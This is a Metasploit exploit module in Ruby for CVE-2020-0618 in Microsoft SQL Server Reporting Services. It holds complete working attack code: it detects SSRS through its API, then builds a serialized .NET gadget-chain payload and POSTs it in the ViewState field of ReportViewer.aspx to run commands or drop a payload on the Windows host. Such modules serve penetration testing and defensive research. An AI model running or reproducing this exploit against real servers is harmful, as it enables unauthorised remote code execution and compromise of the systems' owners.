SQL Server Reporting Services (SSRS) ViewState Deserialization

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SQL Server Reporting Services (SSRS) ViewState Deserialization',
        'Description' => %q{
          A vulnerability exists within Microsoft's SQL Server Reporting Services
          which can allow an attacker to craft an HTTP POST request with a
          serialized object to achieve remote code execution. The vulnerability is
          due to the fact that the serialized blob is not signed by the server.
        },
        'Author' => [
          'Soroush Dalili',   # discovery and original PoC
          'Spencer McIntyre'  # metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2020-0618'],
          ['URL', 'https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/'],
        ],
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows (x86)', { 'Arch' => ARCH_X86, 'Type' => :windows_dropper } ],
          [ 'Windows (x64)', { 'Arch' => ARCH_X64, 'Type' => :windows_dropper } ],
          [ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'Space' => 3000 } ]
        ],
        'DefaultTarget' => 1,
        'DisclosureDate' => '2020-02-11',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        },
        'Privileged' => true
      )
    )

    register_options([
      OptString.new('TARGETURI', [ true, 'The base path to the web application', '/Reports' ]),
      OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKSTATION' ]),
      OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),
      OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
    ])
    register_advanced_options([
      OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
    ])
  end

  def send_api_request(*parts)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'v1.0', *parts),
      'headers' => {
        'Accept' => 'application/json'
      },
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD']
    })
    if res&.code == 200 && res.headers['Content-Type'].strip.start_with?('application/json;')
      return res.get_json_document
    end
  end

  def check
    json_response = send_api_request('ReportServerInfo', 'Model.SiteName')
    return CheckCode::Unknown('SQL Server Reporting Services not detected') unless json_response && json_response['value'] == 'SQL Server Reporting Services'

    CheckCode::Detected('Target service detected')
  end

  def exploit
    fail_with(Failure::NotFound, 'Failed to detect the application') unless check == CheckCode::Detected

    json_response = send_api_request('ReportServerInfo', 'Model.GetVirtualDirectory')
    fail_with(Failure::UnexpectedReply, 'Failed to detect the report server virtual directory') if json_response.nil?
    directory = json_response['value']
    vprint_status("Detected the report server virtual directory as: #{directory}")

    state = { vd: directory }
    if target['Type'] == :windows_command
      execute_command(payload.encoded, state: state)
    else
      cmd_target = targets.select { |target| target['Type'] == :windows_command }.first
      execute_cmdstager({ linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state })
    end
  end

  def execute_command(cmd, opts)
    state = opts[:state]
    viewstate = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate(
      cmd,
      gadget_chain: :TextFormattingRunProperties,
      formatter: :LosFormatter
    ))

    res = send_request_cgi({
      'uri' => normalize_uri(state[:vd], 'Pages', 'ReportViewer.aspx'),
      'method' => 'POST',
      'vars_post' => {
        'NavigationCorrector$PageState' => 'NeedsCorrection',
        'NavigationCorrector$ViewState' => viewstate,
        '__VIEWSTATE' => ''
      },
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD']
    })

    unless res&.code == 200
      print_error('Non-200 HTTP response received while trying to execute the command')
    end
  end
end